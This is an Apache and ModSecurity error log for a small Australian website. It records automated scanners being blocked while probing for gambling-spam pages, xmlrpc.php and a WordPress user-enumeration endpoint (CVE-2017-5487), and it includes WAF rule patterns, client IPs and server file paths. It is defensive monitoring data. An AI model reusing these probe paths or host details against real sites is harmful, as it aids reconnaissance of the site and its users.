[Sun Feb 08 06:29:27.815128 2026] [:error] [pid 24423:tid 24498] [client 147.135.252.138:35964] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYe8x03f9n1Y0TpV5YaUggAAAI0"]
[Sun Feb 08 06:29:30.238156 2026] [:error] [pid 24421:tid 24441] [client 147.135.252.138:35976] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYe8yqp7cTzhX5M1IP81RwAAAAo"]
[Sun Feb 08 06:29:32.805865 2026] [:error] [pid 24421:tid 24446] [client 147.135.252.138:42602] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYe8zKp7cTzhX5M1IP81TAAAAA8"]
[Sun Feb 08 06:29:35.350832 2026] [:error] [pid 24421:tid 24432] [client 147.135.252.138:42604] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYe8z6p7cTzhX5M1IP81UQAAAAE"]
[Sun Feb 08 06:29:37.745481 2026] [:error] [pid 24421:tid 24442] [client 147.135.252.138:42618] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYe80ap7cTzhX5M1IP81VgAAAAs"]
[Sun Feb 08 06:29:40.272027 2026] [:error] [pid 24421:tid 24446] [client 147.135.252.138:42624] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYe81Kp7cTzhX5M1IP81WAAAAA8"]
[Sun Feb 08 06:29:42.650384 2026] [:error] [pid 24422:tid 24466] [client 147.135.252.138:48768] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYe81iNNjcLoSCLKhTeczwAAAEg"]
[Sun Feb 08 06:29:45.165520 2026] [:error] [pid 24421:tid 24441] [client 147.135.252.138:48784] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYe82ap7cTzhX5M1IP81ZAAAAAo"]
[Sun Feb 08 06:29:47.591036 2026] [:error] [pid 24421:tid 24439] [client 147.135.252.138:48814] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYe826p7cTzhX5M1IP81aQAAAAg"]
[Sun Feb 08 07:14:10.151951 2026] [:error] [pid 24421:tid 24451] [client 216.73.216.124:55565] [client 216.73.216.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.124, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYfHQqp7cTzhX5M1IP9HIgAAABQ"]
[Sun Feb 08 12:13:44.690764 2026] [proxy_fcgi:error] [pid 24423:tid 24496] [client 103.4.122.14:32782] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES ('wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php','/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php',UNHEX('d13d66c22262112889dbdcac94525489'),0,UNHEX('1AA839FA794B8B48EF90E891AA85575A'),UNHEX('1B10D6DA3F7A7B7C0769895C1839C7970BE8FC84BBF5152686DD09EFCE19B678')),('wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php','/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php',UNHEX('d3cf7394fb2af4e4faaa5cd700818c5f'),0,UNHEX('16BC2B7D883BB2D054E602100714135A'),UNHEX('0CD420824836B01E602945FBD0496BED7A038B96A27D8FD738ACADE08147FEF0')),('wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ContainerBuilder.php','/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php\\',\\'/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php\\',UNHEX(\\'d13d66c22262112889dbdcac94525489\\'),0,UNHEX(\\'1AA839FA794B8B48EF90E891AA85575A\\'),UNHEX(\\'1B10D6DA3F7A7B7C0769895C1839C7970BE8FC84BBF5152686DD09EFCE19B678\\')),(\\'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php\\',\\'/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php\\',UNHEX(\\'d3cf7394fb2af4e4faaa5cd700818c5f\\'),0,UNHEX(\\'16BC2B7D883BB2D054E602100714135A\\'),UNHEX(\\'0CD420824836B01E602945FBD0496BED7A038B96A2...'
[Sun Feb 08 15:12:17.398016 2026] [:error] [pid 56906:tid 56917] [client 223.15.245.170:38756] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYg3Ufxl3WX27-WXfDiPZQAAAQk"]
[Sun Feb 08 19:46:12.498379 2026] [:error] [pid 58631:tid 58648] [client 49.51.36.179:33562] [client 49.51.36.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYh3hH-r9Xz6zi7KqKx21gAAAc8"]
[Sun Feb 08 21:16:15.896968 2026] [:error] [pid 58631:tid 58641] [client 34.169.25.13:60135] [client 34.169.25.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.25.13, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYiMn3-r9Xz6zi7KqKyQDwAAAcg"]
[Sun Feb 08 21:16:20.185094 2026] [:error] [pid 58631:tid 58655] [client 34.169.25.13:60135] [client 34.169.25.13] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYiMpH-r9Xz6zi7KqKyQEgAAAdY"]
[Sun Feb 08 21:16:22.847334 2026] [:error] [pid 58631:tid 58636] [client 34.169.25.13:60135] [client 34.169.25.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.169.25.13, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYiMpn-r9Xz6zi7KqKyQGAAAAcM"]
[Sun Feb 08 21:40:38.265981 2026] [:error] [pid 24423:tid 24499] [client 65.108.2.171:28906] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYiSVk3f9n1Y0TpV5YZ0dAAAAI4"]
[Sun Feb 08 21:40:40.851821 2026] [:error] [pid 24423:tid 24494] [client 65.108.2.171:28916] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYiSWE3f9n1Y0TpV5YZ0eAAAAIk"]
[Sun Feb 08 21:40:43.438192 2026] [:error] [pid 24421:tid 24435] [client 65.108.2.171:28922] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYiSW6p7cTzhX5M1IP89nwAAAAQ"]
[Sun Feb 08 21:40:46.045657 2026] [:error] [pid 24421:tid 24433] [client 65.108.2.171:26056] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYiSXqp7cTzhX5M1IP89ogAAAAI"]
[Sun Feb 08 21:40:48.628455 2026] [:error] [pid 24421:tid 24437] [client 65.108.2.171:26068] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYiSYKp7cTzhX5M1IP89pQAAAAY"]
[Sun Feb 08 21:40:51.205942 2026] [:error] [pid 24422:tid 24469] [client 65.108.2.171:26076] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYiSYyNNjcLoSCLKhTeYlQAAAEs"]
[Sun Feb 08 21:40:53.793371 2026] [:error] [pid 24423:tid 24490] [client 65.108.2.171:26088] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYiSZU3f9n1Y0TpV5YZ0fwAAAIU"]
[Sun Feb 08 21:40:56.398494 2026] [:error] [pid 24423:tid 24491] [client 65.108.2.171:52794] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYiSaE3f9n1Y0TpV5YZ0gQAAAIY"]
[Sun Feb 08 21:40:59.002011 2026] [:error] [pid 58631:tid 58651] [client 65.108.2.171:52810] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYiSa3-r9Xz6zi7KqKyXuwAAAdI"]
[Sun Feb 08 21:41:01.579512 2026] [:error] [pid 24530:tid 24540] [client 65.108.2.171:52822] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYiSbUazNRCs1GRWrh4mSwAAAMg"]
[Sun Feb 08 21:41:04.161373 2026] [:error] [pid 24421:tid 24434] [client 65.108.2.171:52832] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYiScKp7cTzhX5M1IP89sgAAAAM"]
[Sun Feb 08 21:41:06.768754 2026] [:error] [pid 58631:tid 58642] [client 65.108.2.171:36962] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYiScn-r9Xz6zi7KqKyXvwAAAck"]
[Sun Feb 08 21:41:09.195763 2026] [:error] [pid 24422:tid 24468] [client 65.108.2.171:36966] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYiSdSNNjcLoSCLKhTeYogAAAEo"]
[Sun Feb 08 21:41:11.791994 2026] [:error] [pid 24530:tid 24543] [client 65.108.2.171:36982] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYiSd0azNRCs1GRWrh4mTwAAAMs"]
[Sun Feb 08 21:41:14.382914 2026] [:error] [pid 58631:tid 58647] [client 65.108.2.171:36992] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYiSen-r9Xz6zi7KqKyXxAAAAc4"]
[Sun Feb 08 21:41:16.813741 2026] [:error] [pid 24422:tid 24478] [client 65.108.2.171:29776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYiSfCNNjcLoSCLKhTeYpwAAAFQ"]
[Sun Feb 08 21:41:19.406931 2026] [:error] [pid 56906:tid 56911] [client 65.108.2.171:29778] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYiSf_xl3WX27-WXfDjVVwAAAQM"]
[Sun Feb 08 21:41:21.991938 2026] [:error] [pid 24530:tid 24533] [client 65.108.2.171:29782] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYiSgUazNRCs1GRWrh4mWgAAAME"]
[Sun Feb 08 21:41:24.585335 2026] [:error] [pid 58631:tid 58657] [client 65.108.2.171:29796] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYiShH-r9Xz6zi7KqKyXxgAAAdg"]
[Sun Feb 08 21:41:27.168237 2026] [:error] [pid 54609:tid 54615] [client 65.108.2.171:38936] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYiSh6RRnRH9N52BW9K7cgAAAYQ"]
[Sun Feb 08 21:41:29.763414 2026] [:error] [pid 24421:tid 24433] [client 65.108.2.171:38952] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYiSiap7cTzhX5M1IP89uwAAAAI"]
[Sun Feb 08 21:41:32.347830 2026] [:error] [pid 24530:tid 24547] [client 65.108.2.171:38966] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYiSjEazNRCs1GRWrh4mYQAAAM8"]
[Sun Feb 08 21:42:31.222714 2026] [:error] [pid 43900:tid 43913] [client 65.108.2.171:7272] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYiSx-Wrhnpm_Csk3kmwoAAAAUo"]
[Sun Feb 08 21:42:33.894204 2026] [:error] [pid 24530:tid 24541] [client 65.108.2.171:7282] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYiSyUazNRCs1GRWrh4miQAAAMk"]
[Sun Feb 08 21:42:36.475388 2026] [:error] [pid 58631:tid 58640] [client 65.108.2.171:19614] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYiSzH-r9Xz6zi7KqKyYDwAAAcc"]
[Sun Feb 08 21:42:39.065984 2026] [:error] [pid 24422:tid 24475] [client 65.108.2.171:19620] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYiSzyNNjcLoSCLKhTeZGgAAAFE"]
[Sun Feb 08 21:42:41.658979 2026] [:error] [pid 54609:tid 54615] [client 65.108.2.171:19622] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYiS0aRRnRH9N52BW9K7uwAAAYQ"]
[Sun Feb 08 21:42:44.241354 2026] [:error] [pid 24423:tid 24490] [client 65.108.2.171:19624] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYiS1E3f9n1Y0TpV5YZ0rwAAAIU"]
[Sun Feb 08 21:42:46.812963 2026] [:error] [pid 24421:tid 24437] [client 65.108.2.171:21878] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYiS1qp7cTzhX5M1IP898AAAAAY"]
[Sun Feb 08 21:42:49.384636 2026] [:error] [pid 54609:tid 54627] [client 65.108.2.171:21880] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYiS2aRRnRH9N52BW9K7xwAAAZA"]
[Sun Feb 08 21:42:51.981699 2026] [:error] [pid 24421:tid 24445] [client 65.108.2.171:21894] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYiS26p7cTzhX5M1IP898QAAAA4"]
[Sun Feb 08 21:42:54.564397 2026] [:error] [pid 24422:tid 24464] [client 65.108.2.171:21910] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYiS3iNNjcLoSCLKhTeZJwAAAEY"]
[Sun Feb 08 21:42:56.989595 2026] [:error] [pid 24423:tid 24506] [client 65.108.2.171:17746] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYiS4E3f9n1Y0TpV5YZ0twAAAJU"]
[Sun Feb 08 21:42:59.568201 2026] [:error] [pid 24530:tid 24546] [client 65.108.2.171:17756] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYiS40azNRCs1GRWrh4mmwAAAM4"]
[Sun Feb 08 21:43:02.135759 2026] [:error] [pid 56906:tid 56910] [client 65.108.2.171:17764] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYiS5vxl3WX27-WXfDjVhAAAAQI"]
